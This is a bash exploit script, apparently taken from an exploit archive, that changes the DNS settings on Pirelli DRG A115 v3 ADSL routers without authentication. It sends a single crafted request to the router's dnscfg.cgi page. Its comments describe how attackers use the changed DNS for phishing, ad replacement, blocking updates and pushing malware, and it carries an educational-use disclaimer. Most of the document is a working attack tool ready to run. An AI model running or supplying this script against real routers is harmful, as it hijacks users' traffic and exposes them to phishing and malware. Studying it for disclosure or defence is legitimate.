Pirelli DRG A115 V3 ADSL Router Unauthenticated Remote DNS Change

`#!/bin/bash  
#  
# Pirelli DRG A115 v3 ADSL Router   
# Unauthenticated Remote DNS Change Exploit  
#  
# Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>  
# https://www.ethical-hacker.org/  
# https://www.facebook.com/ethicalhackerorg  
#  
# Description:   
# The vulnerability exist in the web interface, which is   
# accessible without authentication.   
#  
# Once modified, systems use foreign DNS servers, which are   
# usually set up by cybercriminals. Users with vulnerable   
# systems or devices who try to access certain sites are   
# instead redirected to possibly malicious sites.  
#   
# Modifying systems' DNS settings allows cybercriminals to   
# perform malicious activities like:  
#  
# o Steering unknowing users to bad sites:   
# These sites can be phishing pages that   
# spoof well-known sites in order to   
# trick users into handing out sensitive   
# information.  
#  
# o Replacing ads on legitimate sites:   
# Visiting certain sites can serve users   
# with infected systems a different set   
# of ads from those whose systems are   
# not infected.  
#   
# o Controlling and redirecting network traffic:   
# Users of infected systems may not be granted   
# access to download important OS and software   
# updates from vendors like Microsoft and from   
# their respective security vendors.  
#  
# o Pushing additional malware:   
# Infected systems are more prone to other   
# malware infections (e.g., FAKEAV infection).  
#  
# Disclaimer:  
# This or previous programs is for Educational   
# purpose ONLY. Do not use it without permission.   
# The usual disclaimer applies, especially the   
# fact that Todor Donev is not liable for any   
# damages caused by direct or indirect use of the   
# information or functionality provided by these   
# programs. The author or any Internet provider   
# bears NO responsibility for content or misuse   
# of these programs or any derivatives thereof.  
# By using these programs you accept the fact   
# that any damage (dataloss, system crash,   
# system compromise, etc.) caused by the use   
# of these programs is not Todor Donev's   
# responsibility.  
#   
# Use them at your own risk!  
#  
# The malicious code doesn't sleeping, he stalking..   
#  
  
if [[ $# -gt 3 || $# -lt 2 ]]; then  
echo " Pirelli DRG A115 v3 "   
echo " Unauthenticated Remote DNS Change Exploit"  
echo " ==================================================================="  
echo " Usage: $0 <Target> <Primary DNS> <Secondary DNS>"  
echo " Example: $0 133.7.133.7 8.8.8.8"  
echo " Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"  
echo ""  
echo " Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>"  
echo " https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg"  
exit;  
fi  
GET=`which GET 2>/dev/null`  
if [ $? -ne 0 ]; then  
echo " Error : libwww-perl not found =/"  
exit;  
fi  
GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1  
  
`